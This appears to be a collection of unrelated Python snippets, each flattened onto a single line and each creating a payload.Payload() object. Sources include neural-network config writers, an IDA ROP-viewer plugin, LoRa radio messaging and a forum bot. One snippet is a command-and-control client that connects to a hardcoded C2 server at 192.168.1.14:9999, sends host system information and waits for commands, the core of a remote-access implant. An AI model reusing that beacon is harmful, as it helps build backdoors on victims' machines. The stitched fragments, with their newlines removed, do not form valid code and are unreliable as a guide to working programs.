def __init__(self, config_folder="config", settings=configuration.Config(), payload=payload.Payload()): super(WeightsWriter, self).__init__("weights", config_folder, settings, payload)
def __init__(self, config_folder="config", settings=configuration.Config(), payload=payload.Payload()): super(ParametersWriter, self).__init__("parameters", config_folder, settings, payload)
def __init__(self, config_folder="config", settings=configuration.Config(), payload=payload.Payload()): super(TopologyWriter, self).__init__("topology", config_folder, settings, payload)
def __init__(self): self.c2_server = '192.168.1.14' self.c2_port = 9999 self.c2 = None try: self.sysinfo = ' '.join(os.uname()) except: self.sysinfo = os.name self.payloads = payload.Payload() self._connect_to_c2() self._send_init_info() self._listen()
def __init__(self, config=configuration.Config(), serializer=serialization.Serializer(), payload=payload.Payload()): self.context = zmq.Context() self.settings = config self.serializer = serializer self.payload = payload self.controller = communication.connect_socket( self.context, socket_type=zmq.REQ, connection=self.settings.connections["commander"]) self.logger = logging.getLogger("commander")
def run(self, arg): global pl global rv if not pl: pl = payload.Payload() if pl.load_from_idb(): print "%s: loaded data from IDB." % pluginname if not rv: rv = ropviewer.ropviewer_t(pl) if not rv.Create (): print "could not create window." return rv.Show() rv.show_content_viewers()
def __init__(self, topic, config_folder="config", settings=configuration.Config(), payload=payload.Payload()): self.settings = settings self.payload = payload self.topic = topic self.config_folder = config_folder self.path = os.path.join(self.config_folder, self.topic) self.write_topics = ["weights", "parameters", "topology"] # here you put constants and variables that all the parameter writes need if not topic in self.write_topics: print "Selected topic not implemented for writing. Aborting." sys.exit()
def do_loop(lora): global msgCount lastSendTime = 0 interval = 0 while True: now = config_lora.millisecond() if now < lastSendTime: lastSendTime = now if (now - lastSendTime > interval): lastSendTime = now # timestamp the message interval = (lastSendTime % INTERVAL) + INTERVAL_BASE # 2-3 seconds message = "{} {}".format(config_lora.NODE_NAME, msgCount) pl = payload.Payload(frm=config_lora.NODE_EUI, to=None, message=message) sendMessage(lora, pl.dumps()) # send message msgCount += 1 lora.receive() # go into receive mode
try: api = api_abstraction.ApiConnection(api_profile, site) except Exception as e: logger.debug( "---API CONNECTION FAIL!! %s API Profile for %s site---" % (api_profile, site)) import traceback, os.path top = traceback.extract_stack()[-1] print ', '.join( [type(e).__name__, os.path.basename(top[0]), str(top[1])]) print e fail = True # Build payload from an API source forumPayload = payload.Payload(api_profile, site, api, db) try: pass # Process the payload into command calls and return messages to users forumProcessList = payloadProcessor.PayloadProcessor( forumPayload.payload, api, db, rpc, exchange) except Exception as e: logger.debug( "---PAYLOAD PROCESSING FAILED!! %s API Profile for %s site---" % (api_profile, site)) print e fail = True try: pass # Process messages into forum posts and emails forumMessenger = messenger.Messenger(db, bbmech, forumProcessList,
def dispatch_payload_json(self, pay_load_json, broadcast = False): pl = payload.Payload().loads(pay_load_json) self.dispatch_payload(pl, broadcast)
def transmit_payload(self, payload_string, return_to_rx_mode = True): pay_load = payload.Payload().loads(payload_string) pay_load.via = self.eui transceiver = self._get_transceiver() transceiver.println(pay_load.dumps()) if return_to_rx_mode: transceiver.receive()
def received_packet(self, payload_string, rssi = None): pay_load = payload.Payload().loads(payload_string) pkt = packet.Packet(self.eui, rssi, pay_load, pay_load.time) return pkt